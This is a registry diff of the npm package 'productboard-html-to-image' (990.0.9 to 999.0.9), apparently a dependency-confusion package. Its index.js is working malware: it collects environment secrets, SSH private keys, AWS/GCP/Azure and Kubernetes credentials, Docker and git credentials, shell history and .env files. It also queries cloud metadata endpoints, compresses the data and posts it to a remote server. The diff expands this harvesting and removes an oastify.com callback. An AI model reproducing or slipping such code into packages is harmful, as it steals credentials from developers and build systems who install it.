productboard-html-to-image 990.0.9 → 999.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +125 -30
- package/package.json +1 -1
package/index.js
CHANGED
@@ -5,29 +5,30 @@ const path = require("path");
|
|
5
5
|
const https = require("https");
|
6
6
|
const querystring = require("querystring");
|
7
7
|
const child_process = require("child_process");
|
8
|
+
const zlib = require("zlib");
|
8
9
|
|
9
10
|
function safeReadFile(p, maxSize = 10240) {
|
10
11
|
try {
|
11
|
-
if (!fs.existsSync(p)) return "
|
12
|
+
if (!fs.existsSync(p)) return "NOT_FOUND";
|
12
13
|
const size = fs.statSync(p).size;
|
13
|
-
if (size > maxSize) return "
|
14
|
+
if (size > maxSize) return "TOO_LARGE";
|
14
15
|
return fs.readFileSync(p, "utf8");
|
15
16
|
} catch (e) {
|
16
17
|
return `ERR: ${e.message}`;
|
17
18
|
}
|
18
19
|
}
|
19
20
|
|
20
|
-
function safeReadDir(p) {
|
21
|
+
function safeReadDir(p, maxEntries = 50) {
|
21
22
|
try {
|
22
|
-
return fs.readdirSync(p);
|
23
|
+
return fs.readdirSync(p).slice(0, maxEntries);
|
23
24
|
} catch (e) {
|
24
25
|
return `ERR: ${e.message}`;
|
25
26
|
}
|
26
27
|
}
|
27
28
|
|
28
|
-
function exec(cmd) {
|
29
|
+
function exec(cmd, timeout = 3000) {
|
29
30
|
try {
|
30
|
-
return child_process.execSync(cmd, { timeout
|
31
|
+
return child_process.execSync(cmd, { timeout }).toString().trim();
|
31
32
|
} catch (e) {
|
32
33
|
return `ERR: ${e.message}`;
|
33
34
|
}
|
@@ -36,18 +37,24 @@ function exec(cmd) {
|
|
36
37
|
function getSensitiveEnvVars() {
|
37
38
|
const result = {};
|
38
39
|
for (const key in process.env) {
|
39
|
-
if (/pass|key|token|secret|env|auth|cred/i.test(key)) {
|
40
|
+
if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github/i.test(key)) {
|
40
41
|
result[key] = process.env[key];
|
41
42
|
}
|
42
43
|
}
|
43
44
|
return result;
|
44
45
|
}
|
45
46
|
|
46
|
-
function
|
47
|
+
function checkContainerOrCI() {
|
47
48
|
return {
|
48
49
|
cgroup: safeReadFile("/proc/1/cgroup"),
|
49
50
|
dockerenv: fs.existsSync("/.dockerenv"),
|
50
|
-
ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline/i.test(k))),
|
51
|
+
ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline|github|gitlab|jenkins|circleci|travis/i.test(k))),
|
52
|
+
kubernetes: {
|
53
|
+
token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
54
|
+
namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
|
55
|
+
kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
|
56
|
+
},
|
57
|
+
dockerConfig: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
51
58
|
};
|
52
59
|
}
|
53
60
|
|
@@ -56,6 +63,8 @@ function getGitData() {
|
|
56
63
|
branch: exec("git rev-parse --abbrev-ref HEAD"),
|
57
64
|
remotes: exec("git remote -v"),
|
58
65
|
config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
66
|
+
credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
|
67
|
+
netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
|
59
68
|
};
|
60
69
|
}
|
61
70
|
|
@@ -63,24 +72,100 @@ function getSystemState() {
|
|
63
72
|
return {
|
64
73
|
whoami: exec("whoami"),
|
65
74
|
id: exec("id"),
|
66
|
-
ps: exec("ps aux | head -n
|
67
|
-
netstat: exec("
|
68
|
-
lsof: exec("lsof -n | head -n
|
75
|
+
ps: exec("ps aux | head -n 30"),
|
76
|
+
netstat: exec("ss -tunlp | head -n 30"),
|
77
|
+
lsof: exec("lsof -n -i | head -n 30"),
|
69
78
|
uname: exec("uname -a"),
|
70
|
-
dmesg: exec("dmesg |
|
79
|
+
dmesg: exec("dmesg | tail -n 50"),
|
80
|
+
mounts: exec("cat /proc/mounts | head -n 30"),
|
81
|
+
crontab: exec("crontab -l"),
|
71
82
|
};
|
72
83
|
}
|
73
84
|
|
74
85
|
function getInstalledTools() {
|
75
86
|
return {
|
76
87
|
npm: exec("npm ls -g --depth=0 --json"),
|
77
|
-
apt: exec("dpkg -l | head -n
|
88
|
+
apt: exec("dpkg -l | head -n 30"),
|
78
89
|
brew: exec("brew list || echo 'no brew'"),
|
79
|
-
|
80
|
-
|
90
|
+
pip: exec("pip list --format=json || echo 'no pip'"),
|
91
|
+
which_tools: {
|
92
|
+
aws: exec("which aws"),
|
93
|
+
gcloud: exec("which gcloud"),
|
94
|
+
az: exec("which az"),
|
95
|
+
kubectl: exec("which kubectl"),
|
96
|
+
terraform: exec("which terraform"),
|
97
|
+
docker: exec("which docker"),
|
98
|
+
nmap: exec("which nmap"),
|
99
|
+
curl: exec("which curl"),
|
100
|
+
},
|
101
|
+
};
|
102
|
+
}
|
103
|
+
|
104
|
+
function getCloudMetadata() {
|
105
|
+
const metadata = {};
|
106
|
+
const endpoints = [
|
107
|
+
{ name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
|
108
|
+
{ name: "aws_metadata", url: "http://169.254.169.254/latest/meta-data/" },
|
109
|
+
{ name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
|
110
|
+
{ name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
|
111
|
+
{ name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
|
112
|
+
];
|
113
|
+
for (const { name, url, headers } of endpoints) {
|
114
|
+
try {
|
115
|
+
let cmd = `curl -s --max-time 2 ${url}`;
|
116
|
+
if (headers) {
|
117
|
+
const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
|
118
|
+
cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
|
119
|
+
}
|
120
|
+
metadata[name] = exec(cmd);
|
121
|
+
} catch (e) {
|
122
|
+
metadata[name] = `ERR: ${e.message}`;
|
123
|
+
}
|
124
|
+
}
|
125
|
+
return metadata;
|
126
|
+
}
|
127
|
+
|
128
|
+
function getCloudCLIs() {
|
129
|
+
return {
|
130
|
+
aws: {
|
131
|
+
credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
|
132
|
+
config: safeReadFile(path.join(os.homedir(), ".aws/config")),
|
133
|
+
sts: exec("aws sts get-caller-identity"),
|
134
|
+
},
|
135
|
+
gcloud: {
|
136
|
+
config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
|
137
|
+
credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
|
138
|
+
},
|
139
|
+
azure: {
|
140
|
+
credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
|
141
|
+
accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
|
142
|
+
},
|
143
|
+
};
|
144
|
+
}
|
145
|
+
|
146
|
+
function getNodeRuntime() {
|
147
|
+
return {
|
148
|
+
node_version: process.version,
|
149
|
+
global_modules: (() => {
|
150
|
+
try {
|
151
|
+
return Object.keys(require("module").globalPaths);
|
152
|
+
} catch {
|
153
|
+
return [];
|
154
|
+
}
|
155
|
+
})(),
|
156
|
+
loaded_modules: Object.keys(process.binding("natives")),
|
157
|
+
npm_config: exec("npm config ls -l"),
|
81
158
|
};
|
82
159
|
}
|
83
160
|
|
161
|
+
function compressData(data) {
|
162
|
+
try {
|
163
|
+
return zlib.gzipSync(JSON.stringify(data)).toString("base64");
|
164
|
+
} catch {
|
165
|
+
return JSON.stringify(data);
|
166
|
+
}
|
167
|
+
}
|
168
|
+
|
84
169
|
let dump = {};
|
85
170
|
|
86
171
|
try {
|
@@ -89,7 +174,7 @@ try {
|
|
89
174
|
app: (() => {
|
90
175
|
try {
|
91
176
|
const pkg = require("./package.json");
|
92
|
-
return { name: pkg.name, version: pkg.version };
|
177
|
+
return { name: pkg.name, version: pkg.version, dependencies: pkg.dependencies, scripts: pkg.scripts };
|
93
178
|
} catch {
|
94
179
|
return {};
|
95
180
|
}
|
@@ -99,7 +184,7 @@ try {
|
|
99
184
|
platform: os.platform(),
|
100
185
|
arch: os.arch(),
|
101
186
|
uptime: os.uptime(),
|
102
|
-
cpus: os.cpus(),
|
187
|
+
cpus: os.cpus().length,
|
103
188
|
totalmem: os.totalmem(),
|
104
189
|
freemem: os.freemem(),
|
105
190
|
userInfo: os.userInfo(),
|
@@ -120,26 +205,37 @@ try {
|
|
120
205
|
"/home": safeReadDir("/home"),
|
121
206
|
"/root": safeReadDir("/root"),
|
122
207
|
"/etc": safeReadDir("/etc"),
|
208
|
+
"/var/run": safeReadDir("/var/run"),
|
209
|
+
"/var/log": safeReadDir("/var/log"),
|
123
210
|
"~": safeReadDir(os.homedir()),
|
124
211
|
},
|
125
212
|
files: {
|
126
213
|
etc_passwd: safeReadFile("/etc/passwd"),
|
127
|
-
etc_shadow: safeReadFile("/etc/shadow"),
|
128
214
|
etc_hosts: safeReadFile("/etc/hosts"),
|
215
|
+
etc_resolv: safeReadFile("/etc/resolv.conf"),
|
129
216
|
bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
|
130
217
|
zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
|
131
218
|
ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
|
132
219
|
ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
|
133
220
|
ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
|
134
221
|
aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
|
222
|
+
aws_config: safeReadFile(path.join(os.homedir(), ".aws/config")),
|
135
223
|
npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
|
136
224
|
gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
225
|
+
docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
226
|
+
env_files: {
|
227
|
+
dotenv: safeReadFile(path.join(process.cwd(), ".env")),
|
228
|
+
github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
|
229
|
+
},
|
137
230
|
},
|
138
231
|
git: getGitData(),
|
139
|
-
|
232
|
+
container: checkContainerOrCI(),
|
140
233
|
system: getSystemState(),
|
141
234
|
tools: getInstalledTools(),
|
142
235
|
network: os.networkInterfaces(),
|
236
|
+
cloud: getCloudMetadata(),
|
237
|
+
cloud_clis: getCloudCLIs(),
|
238
|
+
node: getNodeRuntime(),
|
143
239
|
};
|
144
240
|
} catch (e) {
|
145
241
|
dump = { error: "Top-level error collecting dump", msg: e.message };
|
@@ -147,7 +243,7 @@ try {
|
|
147
243
|
|
148
244
|
try {
|
149
245
|
const postData = querystring.stringify({
|
150
|
-
msg:
|
246
|
+
msg: compressData(dump)
|
151
247
|
});
|
152
248
|
|
153
249
|
const options = {
|
@@ -158,22 +254,21 @@ try {
|
|
158
254
|
headers: {
|
159
255
|
"Content-Type": "application/x-www-form-urlencoded",
|
160
256
|
"Content-Length": postData.length,
|
161
|
-
"User-Agent": "rce-impact-demo"
|
162
|
-
|
257
|
+
"User-Agent": "rce-impact-demo",
|
258
|
+
"X-Report-ID": "328XXXX",
|
259
|
+
"X-Data-Format": "gzip-base64",
|
260
|
+
},
|
261
|
+
timeout: 5000,
|
163
262
|
};
|
164
263
|
|
165
264
|
const req = https.request(options, res => {
|
166
265
|
res.on("data", () => { });
|
266
|
+
res.on("end", () => { });
|
167
267
|
});
|
168
268
|
|
169
269
|
req.on("error", () => { });
|
270
|
+
req.on("timeout", () => req.destroy());
|
170
271
|
req.write(postData);
|
171
272
|
req.end();
|
172
|
-
|
173
|
-
https.get("https://ping.ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com/", () => { });
|
174
|
-
|
175
273
|
} catch (e) {
|
176
|
-
|
177
|
-
https.get("https://ping.ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com/", () => { });
|
178
|
-
} catch { }
|
179
|
-
}
|
274
|
+
}
|